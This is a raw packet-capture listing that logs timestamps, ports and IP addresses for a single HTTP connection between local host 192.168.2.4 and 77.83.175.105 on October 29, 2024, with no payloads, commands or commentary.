Oct 29, 2024 04:17:21.302788019 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302800894 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.302824020 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302846909 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.302871943 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302881002 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302886963 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.302901983 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.302915096 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.302925110 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302949905 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302959919 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.303006887 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.303041935 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.420016050 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420033932 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420047045 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420056105 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420066118 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420075893 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420085907 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420094967 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420089006 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.420104980 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420124054 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420135021 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420144081 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420155048 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.420156002 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420155048 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.420169115 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420180082 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420187950 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.420187950 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.420192957 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420205116 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420208931 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.420213938 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420233965 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420237064 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.420244932 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420253992 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420255899 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.420264959 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420275927 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420283079 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.420300961 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.420315027 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.420340061 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420350075 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420355082 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420387983 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420391083 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.420397997 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420438051 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.420461893 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420504093 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420514107 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420550108 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.420579910 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420589924 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420598984 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420618057 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420630932 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.420661926 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.420661926 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.420696020 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420706987 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420734882 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420738935 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.420746088 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420772076 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420773983 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.420795918 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.420816898 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.420841932 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420880079 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.420969009 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420979977 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.420990944 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421000004 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421010971 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421015024 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.421020031 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421032906 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421036005 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.421041012 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421058893 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.421081066 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.421096087 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421106100 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421114922 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421149969 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421149969 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.421171904 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.421195984 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.421201944 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421211958 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421247959 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.421253920 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421263933 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421303988 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.421314001 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421351910 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421360970 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421397924 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.421416998 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421427965 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421437979 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421451092 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421463966 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.421494961 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.421514988 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.421556950 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421567917 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421577930 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421588898 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421610117 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.421638966 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.421644926 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421663046 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421673059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421683073 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421708107 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.421722889 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.421794891 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421803951 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421813965 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421858072 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.421868086 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421880960 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421890974 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421901941 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421911001 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.421915054 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421925068 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.421932936 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.421952963 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.421973944 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.422095060 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.422121048 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.422128916 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.422143936 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.422168970 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.422188997 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.422265053 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.422276974 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.422301054 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.422316074 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.422322035 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.422327995 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.422338009 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.422344923 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.422348022 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.422358990 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.422365904 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.422384977 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.422419071 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.462836981 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.462867975 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.463529110 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.538896084 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.538911104 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.538922071 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.538968086 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.539004087 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.539052963 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539089918 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.539091110 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539102077 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539144039 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.539158106 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539171934 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539186001 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539195061 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539210081 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.539223909 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.539272070 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539282084 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539293051 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539304018 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539328098 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.539328098 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.539340019 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539340973 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.539360046 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539369106 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539382935 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.539407015 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.539423943 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539436102 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539443970 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539462090 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539499998 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.539515018 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539522886 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539539099 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.539561033 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.539586067 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539596081 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539604902 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539624929 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.539654016 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.539654970 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539680958 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539690018 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539690971 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.539721012 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.539781094 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539791107 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539800882 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539813042 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539834023 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.539860964 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539869070 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539877892 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539891958 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.539904118 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.539906979 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539917946 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.539926052 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.539952040 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.540395975 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.540405035 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.540419102 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.540427923 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.540436029 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.540436983 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.540446997 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.540456057 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.540461063 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.540469885 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.540472031 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.540479898 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.540491104 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.540501118 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.540527105 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.540982008 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.540994883 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541006088 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541016102 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541022062 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.541027069 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541037083 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541049004 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.541068077 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.541081905 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541090965 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541099072 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541110992 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541119099 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.541121006 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541130066 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541135073 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.541141033 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541151047 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541160107 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.541192055 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.541222095 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541230917 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541240931 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541250944 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541260004 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541270018 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541280031 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541281939 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.541296959 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541301012 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.541311026 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541317940 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.541321993 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541332006 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541342020 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541343927 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.541347980 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541358948 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.541359901 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541390896 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.541416883 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.541506052 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541547060 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541558981 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541600943 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.541714907 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541733980 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541743994 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541754007 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541764021 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541773081 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541785955 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541795969 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541809082 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541811943 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.541820049 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541822910 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.541822910 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.541830063 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541835070 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.541846037 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541857004 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.541861057 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.541886091 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.541901112 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.542079926 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.542092085 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.542103052 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.542133093 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.542149067 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.542171001 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.542181015 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.542212009 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.542228937 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.625189066 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.625204086 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.626632929 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.657901049 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.657912016 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.657922029 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.657932043 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.657989979 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.658032894 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.658205986 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658217907 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658227921 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658243895 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.658266068 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.658493996 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658503056 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658513069 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658530951 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658539057 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.658555984 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.658567905 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658577919 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.658581018 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658591986 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658602953 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658627033 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.658628941 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.658636093 CET	49755	80	192.168.2.4	77.83.175.105
